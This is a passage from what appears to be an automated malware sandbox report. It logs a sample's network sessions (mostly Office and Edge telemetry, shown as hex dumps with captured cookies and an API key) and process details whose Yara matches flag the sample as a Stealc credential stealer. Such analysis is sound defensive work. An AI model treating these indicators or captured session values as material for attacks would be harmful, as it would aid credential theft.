64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 08:17:05 UTC	16384	IN	Data Raw: b5 c5 05 43 29 8a 72 20 8a e2 1a 32 43 62 20 26 80 63 7d 7b d8 e0 e8 db fa 65 ef 15 8d b2 95 7c b4 15 93 99 29 f2 a4 49 8c c4 49 17 09 2f 84 81 61 d6 ca d3 ab 69 8d 1c 71 43 22 1e 02 48 02 3a 81 e3 46 40 91 4a f7 bb da ec 0d 04 6b f7 57 88 e5 2c d1 94 8c 80 42 92 4c 02 60 8a 49 d2 e3 79 b9 f2 92 df 43 7b 20 da dc 52 54 b0 95 14 22 33 a8 02 52 9c df 6e 63 a0 9b 25 e5 5c f6 4d 3d fd 1e 3a 6b cb 8a 3b 0e 43 29 1e 81 16 cf a4 36 21 a9 79 54 a1 e3 57 b4 b1 9b 73 6f e5 a8 0c c8 5c a5 26 50 64 54 4c 1d 2a 34 20 e8 5a 29 20 68 66 97 69 83 8a 0b 8e cb ba 60 f2 d2 18 f4 71 27 29 07 2a 54 05 8a 98 f4 20 fa b6 24 92 4d a5 8d e6 44 71 b4 36 31 48 1d cf 16 3c a8 4f 45 3d cd d5 13 4d 38 c0 31 bc b4 d1 41 5d 75 11 a3 d9 48 d4 11 22 46 22 f0 eb c4 93 7d 3d 18 7a f1 0d 80 Data Ascii: C)r 2Cb &c}{e\|)II/aiqC"H:F@JkW,BL`IyC{ RT"3Rnc%\M=:k;C)6!yTWso\&PdTL4 Z) hfi`q')T $MDq61H<OE=M81A]uH"F"}=z
2024-11-23 08:17:05 UTC	1996	IN	Data Raw: 4c cf 2e 4c da 69 5a ce 0d 14 67 9e be fb 5c 02 22 c9 75 28 cc a8 11 6e a4 0f 53 47 63 8a eb 83 64 c2 4c a8 12 2d 83 58 c0 c1 1e 8c 39 cc 35 ab 35 f7 1c 3d a2 8d 1c 02 88 ab 60 a2 9a 83 14 23 91 d4 7e ac 8a 9b 7c 2a 18 a1 9a 30 04 83 09 98 d6 06 82 6d ba ad 28 cd 40 9a 1f 34 dd 64 6b 33 d4 43 14 03 5a e8 c2 0d b5 65 cd 96 13 31 36 02 74 9c 68 c5 18 f1 ee 6e 64 69 2d 60 9e 25 c5 04 cb 51 ab 21 12 f4 38 d0 51 26 83 e2 c7 0f a4 95 24 cd 41 07 b1 ea e4 a4 85 4c e6 b2 22 31 9f 73 83 9a 1e 20 eb cb 5f 73 78 6b 0c a1 43 8f ac 6c 95 10 10 42 89 1a 69 18 49 81 65 23 c5 88 88 89 8d 38 97 96 9f 4f 29 64 02 6c 7d 35 88 b2 66 fa ba 12 01 f5 10 fc 4f 75 06 13 03 47 21 98 27 bb 62 2a c5 04 9c c8 20 82 44 41 ed 0f a3 7b 71 5b cb 2b 51 95 2a a6 23 5e 9e e7 53 b4 57 f6 a6 Data Ascii: L.LiZg\"u(nSGcdL-X955=`#~\|0m(@4dk3CZe16thndi-`%Q!8Q&$AL"1s _sxkClBiIe#8O)dl}5fOuG!'b DA{q[+Q*#^SW
2024-11-23 08:17:05 UTC	16384	IN	Data Raw: 52 75 8c 4d 03 f9 9b 9f 56 9c a0 44 47 1c db 90 2d 0f a9 08 12 24 d2 45 75 e7 0f af 7f 61 1b 4b 84 28 2c 40 20 c4 4f 29 a3 5a d3 ce 4c 8d 29 db c1 e8 17 5b 7b 3a 53 2d f2 fa b5 94 04 09 7b 2b eb 09 e3 d8 f2 92 45 81 cd cb 4e 43 21 96 15 07 1d 6b ab 26 53 ab 31 12 80 21 23 59 55 6b df dd 0e da 53 8d 2c d2 4d 1b 47 76 f0 d6 53 9b 28 d7 59 7b 27 2f 57 d6 94 6b 58 b6 da b5 ca d6 b4 e6 29 33 73 5c 3e 2f b0 0e 23 56 22 9b 9d b4 a4 02 5e e2 59 72 b6 89 b3 8c 5a ca 00 8e 3d ec 99 7e 3c 43 71 a7 c1 e8 92 ed 94 18 fb 9f 52 86 de 51 13 9a d9 d3 91 d7 93 50 32 90 44 86 e5 27 2e 69 e5 6b 5b 34 06 59 ba 19 33 2a 32 92 60 57 09 be 19 90 48 04 00 2a 20 c8 07 a5 c5 a2 81 0e 5a d0 51 73 42 98 b1 9c 09 6a 52 ed 94 e7 d5 e8 e3 89 66 ca f4 35 a5 05 14 70 06 78 7b 2b d5 94 09 Data Ascii: RuMVDG-$EuaK(,@ O)ZL)[{:S-{+ENC!k&S1!#YUkS,MGvS(Y{'/WkX)3s\>/#V"^YrZ=~<CqRQP2D'.ik[4Y32`WH ZQsBjRf5px{+
2024-11-23 08:17:05 UTC	16384	IN	Data Raw: 54 50 4e 51 a1 af 34 dc c8 84 85 a6 48 13 e3 cb e0 f8 5e 53 3b 61 d7 48 d5 ce 95 5d ab ea 40 98 f5 b9 f3 9d b8 9a 14 c6 b3 30 e6 7f 2c 0d 2d b6 5d 8d 3a 93 af 47 b7 f3 f6 f6 84 7d c4 9b 18 4a f7 77 e8 3c b7 c5 d8 97 e6 ed a9 22 49 3e 8c aa fa ec a2 36 d3 cc fb 07 bd f7 f5 22 af 29 af 28 71 d9 37 a4 5f 9c bd 54 ed a7 6c 12 a8 e7 40 f9 d5 f5 63 4d b1 98 df a0 f6 97 e0 af 71 4b 33 b8 a2 78 b9 8c ee 13 41 41 c6 af 8e 5d fa e9 a7 f3 ff 00 8d c7 6b 9e bf c3 b7 77 79 4b 31 9b 36 03 ed 0c 47 6c c6 63 5a c3 1a 32 a0 4a b5 b0 5a ee e6 f9 58 80 02 53 77 c5 f1 9c b1 ab ca 75 9e 90 eb 11 31 a4 7b ba 7e 62 36 c4 50 9b 87 b5 f2 2b 70 ac d7 4b 00 d1 f3 b7 90 31 bb e2 f1 3d c9 cb ca 23 83 71 8c 47 9c 8c 20 41 3a 5d 69 7d 31 03 32 8c 13 f6 a6 e1 7e 0f 9c 42 08 52 aa 7f 0b Data Ascii: TPNQ4H^S;aH]@0,-]:G}Jw<"I>6")(q7_Tl@cMqK3xAA]kwyK16GlcZ2JZXSwu1{~b6P+pK1=#qG A:]i}12~BR
2024-11-23 08:17:05 UTC	7952	IN	Data Raw: 46 35 6b 37 36 83 73 b0 7f 0b 88 42 70 0d 69 c1 2d e0 fe 17 b2 9b 9d 42 47 7e ae d9 f1 6d 04 7e 53 d5 ca 5c ca dc 6a d1 b4 0b 9c 75 08 92 4e a3 2f 7f 83 78 17 87 a9 7b 87 bb 0d 02 f7 20 5e 3a 3b cd e6 1b 28 bd ec a1 c7 22 18 5c ae 46 2e b1 a9 21 51 36 19 15 23 c1 85 8c 5a 64 02 48 02 4e bc 68 df 2f 12 d7 9c b0 d5 1f 94 75 0d 6b 71 3d 1d 13 6c 72 75 82 09 22 ec 1b 47 2e ef 4b 9a fe 8c 21 c5 ea 61 cc 38 4f 67 73 0b bd 18 68 c0 78 b4 88 ba 3b 7c 5b 4e 0e e6 b8 30 5c a3 0c 63 f5 76 3b 3c 15 83 d9 81 bd 84 ad 84 47 37 79 b8 54 1a e6 ff 00 30 ec 5d 0f c6 ae 4e 07 ab 59 18 f7 a7 b1 ec c2 f3 e9 ec 74 37 22 d0 9c 3d 1d 2a d7 cd 1d 3d 8d 4a a3 f3 30 b9 86 23 c1 a9 50 34 3e 0f 66 2e 09 c3 d4 fb 98 69 c4 b5 80 e1 0a 38 72 0d 83 09 23 16 82 6d 2c 87 30 3a 4f 6f 89 72 Data Ascii: F5k76sBpi-BG~m~S\juN/x{ ^:;("\F.!Q6#ZdHNh/ukq=lru"G.K!a8Ogshx;\|[N0\cv;<G7yT0]NYt7"=*=J0#P4>f.i8r#m,0:Oor
2024-11-23 08:17:05 UTC	2024	IN	Data Raw: e8 2b ba b1 3a e0 2c 3c c5 2f 66 0c 0a ec b1 66 7b 36 0c 0d 2e 4b 1c 93 63 de 6b 98 16 5e 96 3a 8b 1d d5 81 25 d9 63 75 83 4b b2 c7 2f 66 60 67 65 87 3b 69 60 ee 4b 49 6a 4c 30 33 20 81 ab e5 ce c9 99 81 e4 5c d1 a6 b6 16 c0 e0 c2 bc df 5e 03 6c b8 b2 85 0d a1 c5 79 45 2a c7 9e 70 60 78 76 8c 39 9b 66 70 1a 97 16 3c b0 f6 7c 5c cc 38 96 0f 4b 9b 03 80 62 cc 1d 0a 60 43 07 50 d2 96 36 7b 9b 8a 90 1d 87 89 86 c1 4c 30 43 7c 84 37 0b 01 a9 dc 06 c9 61 80 c7 d5 d8 c6 5f 29 d6 94 6e c0 a0 4b b9 53 7b 1b 86 6f 86 17 47 66 5a c3 cc 1e 1b 72 69 2f 4b 0d dd b7 66 8d c5 18 56 ae e6 76 58 67 5a 73 79 83 c3 99 4b d3 8b 93 8b 05 20 38 ed 1e 61 9d 87 a5 ec cc 2c 3b a3 99 f1 61 cc 25 81 21 d8 c5 ae 60 f6 61 73 07 81 8b 90 d7 e6 07 33 86 0e da 8c 5f 30 62 e0 54 b0 3c 5f Data Ascii: +:,</ff{6.Kck^:%cuK/f`ge;i`KIjL03 \^lyE*p`xv9fp<\|\8Kb`CP6{L0C\|7a_)nKS{oGfZri/KfVvXgZsyK 8a,;a%!`as3_0bT<_

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:04 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:05 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 962a21d8-701e-001e-0fb8-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081705Z-15b8b599d88hd9g7hC1TEBp75c00000002kg00000000b3bh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:05 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49935	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:05 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:05 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 46934538-601e-0050-507b-3b2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081705Z-178bfbc474bpnd5vhC1NYC4vr400000004a00000000002te x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:05 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:05 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:05 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 04c26370-f01e-0003-1e65-3d4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081705Z-15b8b599d88z9sc7hC1TEBkr4w00000002ug000000005nn8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:17:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:05 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:05 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 45336a67-c01e-0014-2f6a-3ca6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081705Z-174c587ffdfcb7qhhC1TEB3x7000000002n000000000m1uz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:05 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49939	40.79.141.153	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:07 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732349824269&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11535 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1124054842946B4F2DE61008433C6A40; _EDGE_S=F=1&SID=3A45F6F5166A64451BFDE3B517A665CA; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-23 08:17:07 UTC	11535	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 30 38 3a 31 37 3a 30 34 2e 32 36 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 35 63 34 39 65 38 62 2d 30 30 65 38 2d 34 32 39 32 2d 39 39 64 32 2d 64 64 32 34 38 32 39 32 33 38 38 36 22 2c 22 65 70 6f 63 68 22 3a 22 31 36 31 34 37 31 38 38 32 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-23T08:17:04.266Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"45c49e8b-00e8-4292-99d2-dd2482923886","epoch":"1614718822"},"app":{"locale
2024-11-23 08:17:07 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7f7560d6a79e43f7be870eb7f8775b8c&HASH=7f75&LV=202411&V=4&LU=1732349827357; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 08:17:07 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c791cf9f71924ad6a1509c45b6ea0809; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 08:47:07 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3088 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 08:17:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:07 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:07 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:07 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9064b291-801e-0048-1d16-3df3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081707Z-178bfbc474bv7whqhC1NYC1fg40000000490000000001z12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:17:07 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:07 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:07 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081707Z-178bfbc474bfw4gbhC1NYCunf4000000045g000000009da1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:07 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Target ID:	0
Start time:	03:16:19
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x270000
File size:	1'827'328 bytes
MD5 hash:	9669088834EAC5CE82390081D8BA345E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2771239675.000000000033C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2772886640.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2771239675.0000000000271000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2217451868.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:16:29
